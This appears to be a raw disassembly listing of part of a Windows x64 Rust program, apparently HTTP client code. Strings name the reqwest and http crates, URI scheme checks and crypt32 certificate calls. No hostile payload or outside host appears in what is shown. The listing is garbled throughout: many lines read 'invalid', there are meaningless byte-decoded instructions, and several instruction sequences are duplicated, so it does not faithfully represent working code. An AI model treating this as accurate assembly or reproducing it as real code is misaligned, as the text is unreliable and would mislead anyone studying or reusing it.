add r10, rax
and r10, rdx
neg r10
imul rsi, r10, 0x68
cmp qword [rcx + rsi - 0x58], 4
jne 0x14005a34d
add rsi, rcx
mov r10, qword [rsi - 0x60]
cmp dword [r10], 0x70747468
jne 0x14005a34d
cmp byte [rsi - 8], 2
je case.0x14005a27e.2
lea rdx, [rsi - 0x10]
mov rax, qword [rsi - 0x28]
mov r8, qword [rsi - 0x20]
mov r9, qword [rsi - 0x18]
lea rcx, [rsp + 0xa0]
call qword [rax]
movzx ebx, byte [rsi - 8]
movdqu xmm0, xmmword [rsp + 0xa0]
movdqu xmm1, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0x250], xmm1
movdqa xmmword [rsp + 0x240], xmm0
mov eax, dword [rsp + 0xc1]
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0x93], eax
movaps xmm0, xmmword [rsp + 0x240]
movaps xmm1, xmmword [rsp + 0x250]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov byte [rsp + 0x280], bl
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0x93]
mov dword [rsp + 0x281], eax
mov dword [rsp + 0x284], ecx
movdqa xmmword [rsp + 0x3b0], xmm6
movdqa xmmword [rsp + 0x3a0], xmm7
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x1c0]
lea r8, [rsp + 0x3a0]
lea r9, [rsp + 0x260]
call fcn.14004f490
cmp byte [rsp + 0xc0], 3
je 0x14005a792
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x3c0], rax
movdqu xmm0, xmmword [rsp + 0xa0]
add bl, dh
movq mm1, qword [rsp + 0xb0]
add bl, dh
movq mm1, qword [rsp + 0xb0]
movdqa xmmword [rsp + 0x3b0], xmm1
movdqa xmmword [rsp + 0x3a0], xmm0
movq qword [rsp + 0x3a0], mm0
movq qword [rsp + 0x3a0], mm0
cmp al, 2
je case.0x14005a27e.2
lea rcx, [rsp + 0x3b8]
mov rax, qword [rsp + 0x3a0]
and al, 0xa0
add eax, dword [rax]
invalid
mov eax, 0x48000003
mov eax, dword [rsp + 0x3a0]
and al, 0xa0
add eax, dword [rax]
invalid
and al, 0xa0
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7c], cl
invalid
invalid
test byte [rax + rsi*4], ah
add eax, dword [rax]
mov rdx, qword [rsp + 0x3a8]
mov r8, qword [rsp + 0x3b0]
call qword [rax + 0x10]
jmp case.0x14005a27e.2
add bh, bh
push rax
adc cl, ch
cdq
invalid
mov r15, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
mov r13, qword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
mov ebp, dword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
cmp byte [r14 + 0x50], 2
je case.0x14005a27e.2
lea rdx, [r14 + 0x48]
mov rax, qword [r14 + 0x30]
mov r8, qword [r14 + 0x38]
mov r9, qword [r14 + 0x40]
lea rcx, [rsp + 0xa0]
call qword [rax]
movzx ebx, byte [r14 + 0x50]
jmp 0x14005a3af
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rdx, rsi
call fcn.1401082d0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14005a6b9
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013eb28]
lea r8, [rsp + 0x68]
mov edx, 0x17
call fcn.140108600
mov ecx, 8
mov edx, 0x70
call fcn.140107fe0
mov qword [rsp + 0xa0], rbp
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0xa0]
call fcn.14005bac0
mov byte [rsp + 0xa0], dil
mov byte [rsp + 0xa1], bl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.valid_request_parts
lea r9, [0x14013ec28]
lea r8, [rsp + 0xa0]
mov edx, 0x13
call fcn.140108600
ud2
lea rcx, str.Uri_should_have_a_scheme
lea r8, [0x1401437c0]
mov edx, 0x18
call fcn.1401086b0
call fcn.140010b00
mov ecx, 1
mov rdx, qword [rsp + 0x60]
call fcn.140107fc0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14005a6b9
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x80]
call fcn.140012560
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
mov al, 1
mov dword [rsp + 0x28], eax
xor r13d, r13d
mov bpl, 1
jmp 0x14005ae42
invalid
cmp bpl, 3
jne 0x14005ab2a
mov r15, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
test r14, r14
je 0x14005ab7f
js case.0x14001a5bd.1860
mov qword [rsp + 0x28], rsi
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400dfbe0
test rax, rax
je 0x14005b0b1
mov rbx, rax
jmp 0x14005ab89
mov byte [rsi], bpl
mov byte [rsi + 1], r12b
mov r8d, dword [rsp + 0x30]
mov dword [rsi + 2], r8d
movzx r8d, word [rsp + 0x34]
mov word [rsi + 6], r8w
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x18], rbx
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rsi + 0x20], xmm1
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], r15
movups xmmword [rsi + 0x40], xmm0
mov word [rsi + 0x50], cx
mov eax, dword [rsp + 0x58]
mov dword [rsi + 0x52], eax
movzx eax, word [rsp + 0x5c]
mov word [rsi + 0x56], ax
jmp 0x14005ac70
mov qword [rsp + 0x28], rsi
mov ebx, 1
mov rcx, rbx
mov rdx, r15
mov r8, r14
call fcn.140106250
movups xmm6, xmmword [rdi + 0x2c]
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0x30], xmm0
movzx eax, byte [rdi + 0x50]
mov byte [rsp + 0x40], al
movzx r15d, word [rdi + 0x28]
movzx r12d, word [rdi + 0x2a]
mov eax, dword [rdi + 0x3c]
mov dword [rsp + 0xcc], eax
mov r13d, dword [rdi + 0x18]
mov esi, dword [rdi + 0x1c]
mov rax, rdi
mov edi, dword [rdi + 0x20]
mov ebp, dword [rax + 0x24]
lea rcx, str.Parsed_Url_is_not_a_valid_Urioperation_timed_outURL_scheme_is_not_allowedBuilderRequestRedirectStatus
mov edx, 0x1d
call fcn.140052650
mov rcx, qword [rax]
shl rcx, 1
test rcx, rcx
je 0x14005ac0f
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov qword [rsp + 0xf8], rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xf8]
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
jo 0x14005ac2a
jo 0x14005ac2a
mov dword [rax + 0x18], r13d
mov dword [rax + 0x1c], esi
mov dword [rax + 0x20], edi
mov dword [rax + 0x24], ebp
mov word [rax + 0x28], r15w
js 0x14005ac54
mov word [rax + 0x2a], r12w
movups xmmword [rax + 0x2c], xmm6
mov ecx, dword [rsp + 0xcc]
mov dword [rax + 0x3c], ecx
cmp al, 0xf
sub byte [rsp + 0x30], al
cmp al, 0xf
sub byte [rsp + 0x30], al
movups xmmword [rax + 0x40], xmm0
movzx ecx, byte [rsp + 0x40]
movzx ecx, byte [rsp + 0x40]
mov byte [rax + 0x50], cl
mov ecx, dword [rsp + 0xd0]
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rbx + 0xd32494], cl
add byte [rax], al
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rbx + 0xd32494], cl
add byte [rax], al
mov dword [rax + 0x51], ecx
mov dword [rax + 0x54], edx
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
mov byte [rcx], 3
movaps xmm6, xmmword [rsp + 0x120]
add byte [rax], al
add rsp, 0x138
pop rbx
pop rbp
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor ecx, ecx
lea rax, [0x140129798]
nop
mov r13b, 1
cmp r15, rcx
je 0x14005ae3a
mov r14, rcx
movzx ecx, byte [rbx + rcx]
movzx ebp, byte [rcx + rax]
test ebp, ebp
je 0x14005ae3c
lea rcx, [r14 + 1]
cmp ebp, 0x3a
jne 0x14005ad40
lea r8, [r14 + 3]
cmp r8, r15
ja 0x14005ae3a
cmp r14, 0xfffffffffffffffd
jae 0x14005b0c3
movzx eax, word [rbx + rcx]
cmp eax, 0x2f2f
jne 0x14005ae3a
mov r13b, 0xa
cmp r14, 0x40
ja 0x14005afc9
lea rbx, [rsp + 0x60]
lea rdx, [rsp + 0x80]
mov rcx, rbx
call fcn.140012560
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r14
call fcn.140012430
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
call qword [rax + 0x10]
movups xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0x110], xmm1
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14005b0d5
mov r14, rax
movaps xmm0, xmmword [rsp + 0x100]
movaps xmm1, xmmword [rsp + 0x110]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov bpl, 2
xor r13d, r13d
mov dword [rsp + 0x28], 0
jmp 0x14005ae42
xor ebp, ebp
mov al, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x88]
mov r15, qword [rsp + 0x90]
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, r15
call fcn.140032750
cmp byte [rsp + 0x30], 0
je 0x14005aeb3
movzx r13d, byte [rsp + 0x31]
cmp byte [rsp + 0x28], 0
jne 0x14005afc9
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x88]
mov r15, qword [rsp + 0x90]
jmp 0x14005afc9
mov r8, qword [rsp + 0x38]
test r13b, r13b
je 0x14005aefa
mov r13b, 4
cmp r8, r15
jne 0x14005afc9
lea rax, [rsp + 0x90]
mov rdx, qword [rsp + 0x80]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
lea rax, [0x1401290f0]
mov cx, 0xffff
mov r15d, 1
jmp 0x14005aaed
test r8, r8
je 0x14005afbb
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x80]
call fcn.140012560
movaps xmm0, xmmword [rsp + 0x80]
add byte [rax], al
add byte [rax], al
movaps xmm1, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x60]
call fcn.1400336d0
mov rax, qword [rsp + 0x30]
movzx r13d, byte [rsp + 0x38]
test rax, rax
je 0x14005afed
movzx ecx, r13b
movzx edx, byte [rsp + 0x3f]
shl edx, 0x10
movzx r8d, word [rsp + 0x3d]
or r8d, edx
mov r15d, dword [rsp + 0x39]
shl r8, 0x28
shl r15, 8
or r15, r8
or r15, rcx
movups xmm0, xmmword [rsp + 0x40]
movzx ecx, word [rsp + 0x50]
mov edx, dword [rsp + 0x52]
mov dword [rsp + 0x58], edx
movzx edx, word [rsp + 0x56]
mov word [rsp + 0x5c], dx
mov rdx, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xd8]
movups xmm1, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x60], xmm1
jmp 0x14005aaed
mov r13b, 4
cmp byte [rsp + 0x28], 0
je 0x14005ae7a
mov rax, qword [rsp + 0x80]
lea rcx, [rsp + 0x98]
mov rdx, rbx
mov r8, r15
call qword [rax + 0x10]
mov bpl, 3
mov r12d, r13d
jmp 0x14005aaed
lea rcx, [rsp + 0xe8]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
call qword [rax + 0x10]
mov bpl, 3
cmp byte [rsp + 0x28], 0
jne 0x14005afe5
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14005afe5
cld
invalid
loope 0x14005b067
or cl, al
cmp cl, 0x3a
jne 0x14005ad36
movzx eax, byte [rbx + 6]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
rol eax, 0xe1
add eax, 0xf980c108
invalid
jne 0x14005ad36
cld
invalid
invalid
rol eax, 0xe1
add eax, 0xf980c108
invalid
cld
invalid
movzx eax, byte [rbx + 7]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
rol dword [rax - 0x7af0d007], 0x93
cld
invalid
invalid
rol dword [rax - 0x7af0d007], 0x93
cld
invalid
mov r12b, 1
mov r8d, 8
jmp 0x14005aa77
mov ecx, 1
mov rdx, r14
call fcn.140107fc0
call fcn.140010b00
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs
mov rdx, r8
mov r8, rax
call fcn.140108530
invalid
mov ecx, 8
mov edx, 0x20
call fcn.140107fe0
int3
cli
push rdx
or al, byte [rax]
sub rsp, rax
movaps xmmword [rsp + 0x19f0], xmm8
movaps xmmword [rsp + 0x19e0], xmm7
loopne 0x14005cbd1
add byte [rax], al
loopne 0x14005cbd1
add byte [rax], al
movaps xmmword [rsp + 0x19d0], xmm6
mov qword [rsp + 0x80], r8
mov rdi, rdx
movzx eax, byte [rdx + 0xbd0]
test eax, eax
mov qword [rsp + 0x370], rcx
je 0x14005cc22
or eax, dword [rax]
add byte [rbp - 0x7376b740], al
and al, 0x70
add eax, dword [rax]
add byte [rdx + rax*2 - 0x7d], dh
clc
add ecx, dword [rdi]
test ecx, ecx
add dword [rax], eax
add byte [rax - 0x73], cl
xchg dword [rax], ebp
invalid
cmp eax, 3
jne case.default.0x14005cc14
lea rax, [rdi + 0x728]
mov qword [rsp + 0xa0], rax
movzx eax, byte [rdi + 0x728]
lea rsi, [rdi + 0x4e8]
lea rcx, [0x140177998]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r14, qword [rdi + 0x618]
jmp 0x14005cf23
lea rcx, [rdi + 0x248]
mov r8d, 0x118
mov rdx, rdi
call fcn.140106250
lea rcx, [rdi + 0x360]
lea rdx, [rdi + 0x118]
mov r8d, 0x100
call fcn.140106250
movdqu xmm0, xmmword [rdi + 0x218]
movdqu xmm1, xmmword [rdi + 0x228]
movdqu xmm2, xmmword [rdi + 0x238]
movdqu xmmword [rdi + 0x460], xmm0
movdqu xmmword [rdi + 0x470], xmm1
movdqu xmmword [rdi + 0x480], xmm2
movzx ebx, byte [rdi + 0x3c0]
test ebx, ebx
je 0x14005cc99
cmp ebx, 1
jne 0x14005cc9b
movzx ebp, byte [rdi + 0x3c1]
jmp 0x14005ccd6
jmp 0x14005ccd6
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006224b
mov rsi, rax
mov rax, qword [rdi + 0x3c8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
lea rdx, [rdi + 0x3e8]
mov rax, qword [rdi + 0x3d0]
mov r8, qword [rdi + 0x3d8]
fadd dword [rbx]
add byte [rax], al
mov r9, qword [rdi + 0x3e0]
lea rcx, [rdi + 0x4a0]
add bh, bh
invalid
add bh, bh
adc byte [rax - 0x73], cl
invalid
invalid
lea rdx, [rdi + 0x408]
mov rax, qword [rdi + 0x3f0]
xchg edi, eax
or byte [rax + rax], al
add byte [rax - 0x75], cl
xchg eax, esi
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x79], cl
invalid
invalid
invalid
mov r8, qword [rdi + 0x3f8]
mov r9, qword [rdi + 0x400]
mov ecx, dword [rdi + 0x400]
clc
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x71], cl
invalid
invalid
mov ecx, dword [rdi + 0x400]
add byte [rax + rax], al
add byte [rax - 0x73], cl
pop rax
add al, 0
lea rcx, [rdi + 0x4c0]
call qword [rax]
movzx eax, word [rdi + 0x410]
add byte [rax], al
add bh, bh
adc byte [rdi], cl
mov bh, 0x87
adc byte [rax + rax], al
add byte [rax], al
mov byte [rdi + 0x490], bl
invalid
invalid
scasd eax, dword [rdi]
xchg ecx, eax
add byte [rax], al
mov byte [rdi + 0x490], bl
mov byte [rdi + 0x491], bpl
add al, 0
add byte [rax - 0x77], cl
mov bh, 0x98
add al, 0
invalid
add al, 0
add byte [rax - 0x77], cl
mov bh, 0x98
add al, 0
add byte [rsi - 0x77], ah
mov word [rdi + 0x4e0], ax
invalid
pop qword [rax]
mov word [rdi + 0x4e0], ax
jmp 0x14005cdd6
add byte [rax], al
mov qword [rsp + 0x58], rsi
and al, 0x58
and al, 0x58
mov rbp, qword [rdi + 0x7a8]
jmp 0x140060375
add byte [rax], al
add byte [rax], al
lea rax, [rdi + 0x9d0]
mov qword [rsp + 0x378], rax
movzx eax, byte [rdi + 0x9d0]
ror byte [rcx], 1
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add eax, dword [rax]
add byte [rdi], cl
mov dh, 0x87
ror byte [rcx], 1
add byte [rax], al
lea r12, [rdi + 0x730]
lea rcx, [0x1401779ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov r14, qword [rdi + 0x760]
jmp 0x14005cf94
mov qword [rsp + 0x58], rsi
jmp 0x14005e589
mov qword [rsp + 0x58], rsi
jmp 0x14005e009
mov r8, qword [rsp + 0x80]
jmp 0x14005db45
lea rcx, [0x1401403e8]
call fcn.140108880
lea rcx, [0x140140310]
call fcn.140108880
lea rcx, [0x1401403d0]
call fcn.140108880
lea r14, [rdi + 0x248]
lea rdx, [rdi + 0x360]
lea rcx, [rsp + 0x460]
mov r8d, 0x100
call fcn.140106250
movzx ebx, byte [rdi + 0x460]
test ebx, ebx
je 0x14005ce4b
cmp ebx, 2
jne 0x14005ce44
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006224b
mov rsi, rax
mov rax, qword [rdi + 0x468]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
jmp 0x14005ce4b
movzx eax, byte [rdi + 0x461]
mov byte [rsp + 0x650], bl
mov byte [rsp + 0x651], al
mov qword [rsp + 0x658], rsi
lea rcx, [rsp + 0x660]
lea rdx, [rdi + 0x488]
mov rax, qword [rdi + 0x470]
mov r8, qword [rdi + 0x478]
mov r9, qword [rdi + 0x480]
call qword [rax]
lea rsi, [rsp + 0xe0]
lea rdx, [rsp + 0x460]
mov r8d, 0x100
mov rcx, rsi
call fcn.140106250
movups xmm0, xmmword [rsp + 0x650]
movups xmm1, xmmword [rsp + 0x660]
movups xmm2, xmmword [rsp + 0x670]
movups xmmword [rsp + 0x1e0], xmm0
movups xmmword [rsp + 0x1f0], xmm1
movups xmmword [rsp + 0x200], xmm2
lea rbx, [rsp + 0x18a0]
mov r8d, 0x130
mov rcx, rbx
mov rdx, rsi
call fcn.140106250
lea rsi, [rdi + 0x4e8]
mov r8d, 0x130
mov rcx, rsi
mov rdx, rbx
call fcn.140106250
mov qword [rdi + 0x618], r14
lea rax, [rdi + 0x728]
mov qword [rsp + 0xa0], rax
mov byte [rdi + 0x728], 0
mov qword [rdi + 0x620], r14
mov byte [rdi + 0x729], 1
lea rcx, [rdi + 0x628]
mov r8d, 0x100
mov rdx, rsi
call fcn.140106250
lea r12, [rdi + 0x730]
movups xmm0, xmmword [rdi + 0x5e8]
movups xmm1, xmmword [rdi + 0x5f8]
movups xmm2, xmmword [rdi + 0x608]
movups xmmword [rdi + 0x730], xmm0
movups xmmword [rdi + 0x740], xmm1
movups xmmword [rdi + 0x750], xmm2
mov qword [rdi + 0x760], r14
lea rax, [rdi + 0x9d0]
mov qword [rsp + 0x378], rax
mov byte [rdi + 0x9d0], 0
mov qword [rsp + 0x58], rsi
mov word [rdi + 0x9d6], 0
mov dword [rdi + 0x9d2], 0
mov qword [rdi + 0x768], r14
lea rbx, [rdi + 0x770]
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0x10]
movdqu xmm2, xmmword [r12 + 0x20]
movdqu xmmword [rdi + 0x770], xmm0
movdqu xmmword [rdi + 0x780], xmm1
movdqu xmmword [rdi + 0x790], xmm2
movzx ebp, byte [rdi + 0x770]
test ebp, ebp
je 0x14005d03a
cmp ebp, 2
jne 0x14005d033
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006224b
mov rsi, rax
mov rax, qword [rdi + 0x778]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
jmp 0x14005d03a
movzx eax, byte [rdi + 0x771]
mov byte [rsp + 0xe0], bpl
mov byte [rsp + 0xe1], al
mov qword [rsp + 0xe8], rsi
lea rcx, [rsp + 0xf0]
lea rdx, [rdi + 0x798]
mov rax, qword [rdi + 0x780]
mov r8, qword [rdi + 0x788]
mov r9, qword [rdi + 0x790]
call qword [rax]
mov rcx, qword [r14 + 0x108]
test rcx, rcx
je 0x14005d08d
lock inc qword [rcx]
jle case.0x14005cc14.2
movups xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movups xmm2, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0xd40], xmm2
movaps xmmword [rsp + 0xd30], xmm1
movaps xmmword [rsp + 0xd20], xmm0
mov rsi, qword [rdi + 0x768]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movdqu xmm2, xmmword [rbx + 0x20]
movdqa xmmword [rsp + 0x640], xmm2
movaps xmmword [rsp + 0x630], xmm1
movaps xmmword [rsp + 0x620], xmm0
mov r14, qword [rsi + 0x68]
test r14, r14
je 0x14005d108
mov rax, qword [rsi + 0x70]
mov qword [rsp + 0x850], rax
lock inc qword [r14]
jle case.0x14005cc14.2
mov r15, qword [rsi + 0x108]
test r15, r15
je 0x14005d11e
lock inc qword [r15]
jle case.0x14005cc14.2
mov qword [rsp + 0x40], rcx
mov r13, r12
mov rbx, qword [rsi + 0x68]
test rbx, rbx
je 0x14005d145
mov rax, qword [rsi + 0x70]
mov qword [rsp + 0x848], rax
lock inc qword [rbx]
jle case.0x14005cc14.2
movzx eax, byte [rsi + 0x81]
movsd xmm6, qword [rsi + 0x78]
mov r11, qword [rsi]
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rsi + 0x10]
mov qword [rsp + 0x78], rcx
mov rcx, qword [rsi + 0x18]
mov qword [rsp + 0x90], rcx
movzx ecx, byte [rsi + 0x64]
movsd xmm7, qword [rsi + 0x58]
mov edx, dword [rsi + 0x60]
mov r10d, dword [rsi + 0x48]
mov r8, qword [rsi + 0x40]
mov qword [rsp + 0x8c8], r8
mov r8, qword [rsi + 0x30]
mov qword [rsp + 0x8c0], r8
mov r8d, dword [rsi + 0x38]
mov dword [rsp + 0xdc], r8d
movzx r8d, byte [rsi + 0x65]
mov r9, qword [rsi + 0x20]
mov qword [rsp + 0x8b0], r9
mov r9, qword [rsi + 0x28]
mov qword [rsp + 0x8a8], r9
mov r9, qword [rsi + 0x50]
mov qword [rsp + 0x8b8], r9
movzx r9d, byte [rsi + 0x80]
movzx ebp, byte [rsi + 0x112]
mov r12, qword [rsi + 0xa8]
mov qword [rsp + 0x8a0], r12
lock inc qword [r12]
jle case.0x14005cc14.2
mov qword [rsp + 0x898], r11
mov dword [rsp + 0xd4], r10d
mov byte [rsp + 0x54], r9b
mov byte [rsp + 0x55], r8b
mov dword [rsp + 0xd8], edx
mov byte [rsp + 0x56], cl
mov byte [rsp + 0x57], al
mov r12, qword [rsi + 0xb0]
mov rax, qword [rsi + 0xb8]
mov qword [rsp + 0x890], rax
lock inc qword [r12]
jle case.0x14005cc14.2
mov qword [rsp + 0x38], r13
xor r13d, r13d
cmp qword [rsi + 0x88], 0
je 0x14005d26f
mov rcx, qword [rsi + 0x90]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x840], rax
mov r13d, 1
mov byte [rsp + 0x53], bpl
mov rcx, qword [rsi + 0x98]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x888], rax
movzx eax, byte [rsi + 0xa4]
mov byte [rsp + 0x52], al
movzx eax, byte [rsi + 0xa5]
mov byte [rsp + 0x51], al
movsd xmm8, qword [rsi + 0xa0]
mov rax, qword [rsi + 0xf8]
lock inc qword [rax]
jle case.0x14005cc14.2
mov qword [rsp + 0x878], rax
movzx eax, byte [rsi + 0x100]
mov byte [rsp + 0x50], al
mov ebp, dword [rsi + 0xc8]
cmp ebp, 0x3b9aca00
je 0x14005d2e9
mov rax, qword [rsi + 0xc0]
mov qword [rsp + 0x838], rax
mov qword [rsp + 0x880], rbx
movzx eax, byte [rsi + 0x101]
mov byte [rsp + 0x4f], al
movzx eax, byte [rsi + 0x102]
mov byte [rsp + 0x4e], al
mov al, 2
cmp byte [rsi + 0xf0], 2
je 0x14005d33f
lea rdx, [rsi + 0xe8]
mov rax, qword [rsi + 0xd0]
mov r8, qword [rsi + 0xd8]
mov r9, qword [rsi + 0xe0]
lea rcx, [rsp + 0xe0]
call qword [rax]
movzx eax, byte [rsi + 0xf0]
mov byte [rsp + 0x4d], al
movdqu xmm0, xmmword [rsp + 0xe0]
movdqu xmm1, xmmword [rsp + 0xf0]
movdqu xmmword [rsp + 0xa60], xmm1
movdqu xmmword [rsp + 0xa50], xmm0
movzx ebx, byte [rsp + 0x620]
test ebx, ebx
je 0x14005d3be
cmp ebx, 2
jne 0x14005d3b6
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006224b
mov rsi, rax
mov rax, qword [rsp + 0x628]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rsi
call qword [r10]
jmp 0x14005d3be
movzx eax, byte [rsp + 0x621]
mov qword [rsp + 0x858], r13
mov qword [rsp + 0x860], r12
mov r12, qword [rsp + 0x40]
mov qword [rsp + 0x868], r15
mov qword [rsp + 0x870], r14
mov byte [rsp + 0x340], bl
mov byte [rsp + 0x341], al
mov qword [rsp + 0x348], rsi
lea rbx, [rsp + 0x350]
lea rdx, [rsp + 0x648]
mov rax, qword [rsp + 0x630]
mov r8, qword [rsp + 0x638]
mov r9, qword [rsp + 0x640]
mov rcx, rbx
call qword [rax]
movzx r13d, byte [rsp + 0x340]
movzx r15d, byte [rsp + 0x341]
movzx r14d, byte [rsp + 0x342]
mov rsi, qword [rsp + 0x348]
movups xmm0, xmmword [rsp + 0x360]
movaps xmmword [rsp + 0x470], xmm0
movups xmm0, xmmword [rsp + 0x350]
movaps xmmword [rsp + 0x460], xmm0
cmp r13d, 4
je 0x14006228a
movzx eax, byte [rsp + 0x347]
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0x343]
mov dword [rsp + 0xe3], eax
mov qword [rsp + 0xe8], rsi
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0x100], xmm1
mov qword [rsp + 0x110], 0
mov byte [rsp + 0xe0], r13b
mov byte [rsp + 0xe1], r15b
mov byte [rsp + 0xe2], r14b
movzx eax, byte [0x140182310]
mov edx, 1
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x14006231d
mov byte [rax], 0x2f
mov rcx, rax
or rcx, 1
test al, 1
cmovne rcx, rax
lea rdx, [0x140129108]
lea r8, [0x140129120]
cmove r8, rdx
mov qword [rsp + 0x818], rax
mov qword [rsp + 0x820], 1
mov qword [rsp + 0x828], rcx
mov qword [rsp + 0x810], r8
lea rcx, [rsp + 0xf80]
lea rdx, [rsp + 0x810]
call fcn.1400336d0
mov rax, qword [rsp + 0xf80]
movzx ebx, byte [rsp + 0xf88]
test rax, rax
je 0x14006232c
lea rcx, [rsp + 0xe3]
movzx edx, byte [rsp + 0xf89]
movups xmm0, xmmword [rsp + 0xf98]
